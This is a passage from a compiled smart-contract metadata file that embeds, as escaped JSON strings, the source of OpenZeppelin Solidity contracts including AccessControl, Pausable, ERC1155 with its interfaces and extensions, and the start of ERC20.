(0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if (!hasRole(role, account)) {\\n revert(\\n string(\\n abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )\\n )\\n );\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x084f583de2c714665b0304529fe8b826a2809f29d03314e4dd9eea926e4bb0f3\",\"license\":\"MIT\"},\"@openzeppelin/contracts/security/Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\n\\n/**\\n * @dev Contract module which allows children to implement an emergency stop\\n * mechanism that can be triggered by an authorized account.\\n *\\n * This module is used through inheritance. It will make available the\\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\\n * the functions of your contract. Note that they will not be pausable by\\n * simply including this module, only once the modifiers are put in place.\\n */\\nabstract contract Pausable is Context {\\n /**\\n * @dev Emitted when the pause is triggered by `account`.\\n */\\n event Paused(address account);\\n\\n /**\\n * @dev Emitted when the pause is lifted by `account`.\\n */\\n event Unpaused(address account);\\n\\n bool private _paused;\\n\\n /**\\n * @dev Initializes the contract in unpaused state.\\n */\\n constructor() {\\n _paused = false;\\n }\\n\\n /**\\n * @dev Returns true if the contract is paused, and false otherwise.\\n */\\n function paused() public view virtual returns (bool) {\\n return _paused;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is not paused.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n modifier whenNotPaused() {\\n require(!paused(), \\\"Pausable: paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is paused.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n modifier whenPaused() {\\n require(paused(), \\\"Pausable: not paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Triggers stopped state.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n function _pause() internal virtual whenNotPaused {\\n _paused = true;\\n emit Paused(_msgSender());\\n }\\n\\n /**\\n * @dev Returns to normal state.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n function _unpause() internal virtual whenPaused {\\n _paused = false;\\n emit Unpaused(_msgSender());\\n }\\n}\\n\",\"keccak256\":\"0xa35b1f2a670cd2a701a52c398032c9fed72df1909fe394d77ceacbf074e8937b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC1155.sol\\\";\\nimport \\\"./IERC1155Receiver.sol\\\";\\nimport \\\"./extensions/IERC1155MetadataURI.sol\\\";\\nimport \\\"../../utils/Address.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\nimport \\\"../../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the basic standard multi-token.\\n * See https://eips.ethereum.org/EIPS/eip-1155\\n * Originally based on code by Enjin: https://github.com/enjin/erc-1155\\n *\\n * _Available since v3.1._\\n */\\ncontract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {\\n using Address for address;\\n\\n // Mapping from token ID to account balances\\n mapping(uint256 => mapping(address => uint256)) private _balances;\\n\\n // Mapping from account to operator approvals\\n mapping(address => mapping(address => bool)) private _operatorApprovals;\\n\\n // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json\\n string private _uri;\\n\\n /**\\n * @dev See {_setURI}.\\n */\\n constructor(string memory uri_) {\\n _setURI(uri_);\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\\n return\\n interfaceId == type(IERC1155).interfaceId ||\\n interfaceId == type(IERC1155MetadataURI).interfaceId ||\\n super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev See {IERC1155MetadataURI-uri}.\\n *\\n * This implementation returns the same URI for *all* token types. It relies\\n * on the token type ID substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * Clients calling this function must replace the `\\\\{id\\\\}` substring with the\\n * actual token type ID.\\n */\\n function uri(uint256) public view virtual override returns (string memory) {\\n return _uri;\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\\n require(account != address(0), \\\"ERC1155: balance query for the zero address\\\");\\n return _balances[id][account];\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOfBatch}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] memory accounts, uint256[] memory ids)\\n public\\n view\\n virtual\\n override\\n returns (uint256[] memory)\\n {\\n require(accounts.length == ids.length, \\\"ERC1155: accounts and ids length mismatch\\\");\\n\\n uint256[] memory batchBalances = new uint256[](accounts.length);\\n\\n for (uint256 i = 0; i < accounts.length; ++i) {\\n batchBalances[i] = balanceOf(accounts[i], ids[i]);\\n }\\n\\n return batchBalances;\\n }\\n\\n /**\\n * @dev See {IERC1155-setApprovalForAll}.\\n */\\n function setApprovalForAll(address operator, bool approved) public virtual override {\\n require(_msgSender() != operator, \\\"ERC1155: setting approval status for self\\\");\\n\\n _operatorApprovals[_msgSender()][operator] = approved;\\n emit ApprovalForAll(_msgSender(), operator, approved);\\n }\\n\\n /**\\n * @dev See {IERC1155-isApprovedForAll}.\\n */\\n function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {\\n return _operatorApprovals[account][operator];\\n }\\n\\n /**\\n * @dev See {IERC1155-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) public virtual override {\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n _safeTransferFrom(from, to, id, amount, data);\\n }\\n\\n /**\\n * @dev See {IERC1155-safeBatchTransferFrom}.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) public virtual override {\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: transfer caller is not owner nor approved\\\"\\n );\\n _safeBatchTransferFrom(from, to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function _safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) internal virtual {\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n unchecked {\\n _balances[id][from] = fromBalance - amount;\\n }\\n _balances[id][to] += amount;\\n\\n emit TransferSingle(operator, from, to, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function _safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual {\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n\\n for (uint256 i = 0; i < ids.length; ++i) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n unchecked {\\n _balances[id][from] = fromBalance - amount;\\n }\\n _balances[id][to] += amount;\\n }\\n\\n emit TransferBatch(operator, from, to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Sets a new URI for all token types, by relying on the token type ID\\n * substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * By this mechanism, any occurrence of the `\\\\{id\\\\}` substring in either the\\n * URI or any of the amounts in the JSON file at said URI will be replaced by\\n * clients with the token type ID.\\n *\\n * For example, the `https://token-cdn-domain/\\\\{id\\\\}.json` URI would be\\n * interpreted by clients as\\n * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`\\n * for token type ID 0x4cce0.\\n *\\n * See {uri}.\\n *\\n * Because these URIs cannot be meaningfully represented by the {URI} event,\\n * this function emits no events.\\n */\\n function _setURI(string memory newuri) internal virtual {\\n _uri = newuri;\\n }\\n\\n /**\\n * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function _mint(\\n address account,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) internal virtual {\\n require(account != address(0), \\\"ERC1155: mint to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n _balances[id][account] += amount;\\n emit TransferSingle(operator, address(0), account, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function _mintBatch(\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual {\\n require(to != address(0), \\\"ERC1155: mint to the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\\n\\n for (uint256 i = 0; i < ids.length; i++) {\\n _balances[ids[i]][to] += amounts[i];\\n }\\n\\n emit TransferBatch(operator, address(0), to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens of token type `id` from `account`\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens of token type `id`.\\n */\\n function _burn(\\n address account,\\n uint256 id,\\n uint256 amount\\n ) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), \\\"\\\");\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n unchecked {\\n _balances[id][account] = accountBalance - amount;\\n }\\n\\n emit TransferSingle(operator, account, address(0), id, amount);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n */\\n function _burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory amounts\\n ) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), ids, amounts, \\\"\\\");\\n\\n for (uint256 i = 0; i < ids.length; i++) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n unchecked {\\n _balances[id][account] = accountBalance - amount;\\n }\\n }\\n\\n emit TransferBatch(operator, account, address(0), ids, amounts);\\n }\\n\\n /**\\n * @dev Hook that is called before any token transfer. This includes minting\\n * and burning, as well as batched variants.\\n *\\n * The same hook is called on both single and batched variants. For single\\n * transfers, the length of the `id` and `amount` arrays will be 1.\\n *\\n * Calling conditions (for each `id` and `amount` pair):\\n *\\n * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * of token type `id` will be transferred to `to`.\\n * - When `from` is zero, `amount` tokens of token type `id` will be minted\\n * for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\\n * will be burned.\\n * - `from` and `to` are never both zero.\\n * - `ids` and `amounts` have the same, non-zero length.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual {}\\n\\n function _doSafeTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) private {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {\\n if (response != IERC1155Receiver(to).onERC1155Received.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _doSafeBatchTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) private {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (\\n bytes4 response\\n ) {\\n if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {\\n uint256[] memory array = new uint256[](1);\\n array[0] = element;\\n\\n return array;\\n }\\n}\\n\",\"keccak256\":\"0x09c24182fc76ee97a5c604b6ff1a8afb3648535b6ba1820c23b243a40cc792a0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155 is IERC165 {\\n /**\\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\\n */\\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\\n\\n /**\\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\\n * transfers.\\n */\\n event TransferBatch(\\n address indexed operator,\\n address indexed from,\\n address indexed to,\\n uint256[] ids,\\n uint256[] values\\n );\\n\\n /**\\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\\n * `approved`.\\n */\\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\\n\\n /**\\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\\n *\\n * If an {URI} event was emitted for `id`, the standard\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\\n * returned by {IERC1155MetadataURI-uri}.\\n */\\n event URI(string value, uint256 indexed id);\\n\\n /**\\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) external view returns (uint256);\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\\n external\\n view\\n returns (uint256[] memory);\\n\\n /**\\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\\n *\\n * Emits an {ApprovalForAll} event.\\n *\\n * Requirements:\\n *\\n * - `operator` cannot be the caller.\\n */\\n function setApprovalForAll(address operator, bool approved) external;\\n\\n /**\\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\\n *\\n * See {setApprovalForAll}.\\n */\\n function isApprovedForAll(address account, address operator) external view returns (bool);\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes calldata data\\n ) external;\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] calldata ids,\\n uint256[] calldata amounts,\\n bytes calldata data\\n ) external;\\n}\\n\",\"keccak256\":\"0xfce1eb6398eae0e2b50251140866a70a3106193f101972c878bba1dbf44929ec\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev _Available since v3.1._\\n */\\ninterface IERC1155Receiver is IERC165 {\\n /**\\n @dev Handles the receipt of a single ERC1155 token type. This function is\\n called at the end of a `safeTransferFrom` after the balance has been updated.\\n To accept the transfer, this must return\\n `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))`\\n (i.e. 0xf23a6e61, or its own function selector).\\n @param operator The address which initiated the transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param id The ID of the token being transferred\\n @param value The amount of tokens being transferred\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155Received(\\n address operator,\\n address from,\\n uint256 id,\\n uint256 value,\\n bytes calldata data\\n ) external returns (bytes4);\\n\\n /**\\n @dev Handles the receipt of a multiple ERC1155 token types. This function\\n is called at the end of a `safeBatchTransferFrom` after the balances have\\n been updated. To accept the transfer(s), this must return\\n `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))`\\n (i.e. 0xbc197c81, or its own function selector).\\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param ids An array containing ids of each token being transferred (order and length must match values array)\\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155BatchReceived(\\n address operator,\\n address from,\\n uint256[] calldata ids,\\n uint256[] calldata values,\\n bytes calldata data\\n ) external returns (bytes4);\\n}\\n\",\"keccak256\":\"0x7de6e64d4a8075e803a972cc77c4c91463e0c3777e4110eacfb5d4a71759b2fa\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC1155.sol\\\";\\n\\n/**\\n * @dev Extension of {ERC1155} that allows token holders to destroy both their\\n * own tokens and those that they have been approved to use.\\n *\\n * _Available since v3.1._\\n */\\nabstract contract ERC1155Burnable is ERC1155 {\\n function burn(\\n address account,\\n uint256 id,\\n uint256 value\\n ) public virtual {\\n require(\\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n\\n _burn(account, id, value);\\n }\\n\\n function burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory values\\n ) public virtual {\\n require(\\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n\\n _burnBatch(account, ids, values);\\n }\\n}\\n\",\"keccak256\":\"0xedf8db444aa542739a0aabe8243a4e8100003aacba9783637a75f16bb556ab44\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC1155.sol\\\";\\nimport \\\"../../../security/Pausable.sol\\\";\\n\\n/**\\n * @dev ERC1155 token with pausable token transfers, minting and burning.\\n *\\n * Useful for scenarios such as preventing trades until the end of an evaluation\\n * period, or having an emergency switch for freezing all token transfers in the\\n * event of a large bug.\\n *\\n * _Available since v3.1._\\n */\\nabstract contract ERC1155Pausable is ERC1155, Pausable {\\n /**\\n * @dev See {ERC1155-_beforeTokenTransfer}.\\n *\\n * Requirements:\\n *\\n * - the contract must not be paused.\\n */\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual override {\\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n\\n require(!paused(), \\\"ERC1155Pausable: token transfer while paused\\\");\\n }\\n}\\n\",\"keccak256\":\"0x4f97aa55fc912e2ef5df98d1155d7fd1e7c0d486ad49b5d983d7fe2739ef7749\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC1155.sol\\\";\\n\\n/**\\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155MetadataURI is IERC1155 {\\n /**\\n * @dev Returns the URI for token type `id`.\\n *\\n * If the `\\\\{id\\\\}` substring is present in the URI, it must be replaced by\\n * clients with the actual token type ID.\\n */\\n function uri(uint256 id) external view returns (string memory);\\n}\\n\",\"keccak256\":\"0x6ba0564f6970414d1166ee83127b834bbe7dbf699241a3005eb7ae64a2211975\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping(address => uint256) private _balances;\\n\\n mapping(address => mapping(address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The default value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor(string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user 